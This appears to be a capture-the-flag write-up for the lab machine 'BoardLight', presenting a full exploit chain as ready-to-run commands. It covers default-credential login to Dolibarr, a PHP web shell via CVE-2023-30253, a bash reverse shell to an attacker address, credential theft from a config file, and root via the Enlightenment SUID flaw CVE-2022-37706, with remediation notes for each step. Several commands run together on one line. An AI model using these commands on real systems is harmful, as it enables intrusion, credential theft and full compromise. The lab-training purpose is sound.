BoardLight
Summary
I discovered a secondary virtual-host running Dolibarr 17.0.0 CRM, authenticated using the application's factory-default credentials, then exploited CVE-2023-30253 to inject a PHP web-shell by writing an uppercase <?PHP tag that bypassed the application's own lowercase-tag filter. From the resulting www-data shell, my read the Dolibarr database configuration file, extracted a plaintext password, and found that the same password had been reused as the SSH login for a local system account.
After pivoting to that account, I exploited CVE-2022-37706, a path-traversal and command-injection flaw in an SUID-root Enlightenment desktop utility, to execute arbitrary commands as root and fully compromise the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET board.htb crm.board.htb" >> /etc/hostsnmap -sC -sV -p- --min-rate 5000 $TARGET -oN nmap.txtffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.board.htb' -u http://$TARGET -fs 15949Exact commands 1
curl -sS -c /tmp/board_cj -b /tmp/board_cj -H 'Host: crm.board.htb' -d 'loginfunction=loginfunction&backtopage=&tz=0&tz_string=UTC&dst_observed=0&dst_first=&dst_second=&selectlang=auto&username=admin&password=$PASSWORD2&token=&action=login' "http://$TARGET/index.php" -L -o /dev/null -w '%{http_code}'FixReplace default Dolibarr admin credentials immediately on installationCritical
Exact commands 3
tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=addwebsite" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' -d "action=addwebsite&token=$tok&website_ref=bd1782719961&mainlang=en_US&fk_default_home=&virtualhost=" "http://$TARGET/website/index.php" -L -o /dev/nulltok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=createcontainer&website=bd1782719961" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' -d "action=addcontainer&token=$tok&WEBSITE_REF=bd1782719961&pageurl=page1&pagetitle=page1&pagetype=page" "http://$TARGET/website/index.php?action=createcontainer&website=bd1782719961" -L -o /dev/nullref=bd1782719961; pid=1; tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=editsource&website=$ref&pageid=$pid" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' --data-urlencode "PAGE_CONTENT=<?PHP if(isset(\$_GET['c'])){ system(\$_GET['c']); } ?>" -d "action=updatesource&token=$tok&website=$ref&pageid=$pid" "http://$TARGET/website/index.php" | grep -i savedFixPatch Dolibarr immediately to remediate CVE-2023-30253Critical
Exact commands 2
curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=id"curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261'"Exact commands 1
curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=cat+/var/www/html/crm.board.htb/htdocs/conf/conf.php"Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 larissa@$TARGET 'id; hostname; cat /home/larissa/user.txt'FixEnforce unique passwords across application and operating-system layersHigh
Exact commands 5
find / -perm -4000 -type f 2>/dev/null | grep enlightenmentrm -f /tmp/rootbash /tmp/exploit && mkdir -p /tmp/net && mkdir -p '/dev/../tmp/;/tmp/exploit'printf '%s\n' '#!/bin/sh' 'cp /bin/bash /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /tmp/exploit && chmod +x /tmp/exploit/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u) '/dev/../tmp/;/tmp/exploit' /tmp///net/tmp/rootbash -p -c 'id; cat /root/root.txt'FixRemove the SUID bit from enlightenment_sys and patch or uninstall EnlightenmentCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.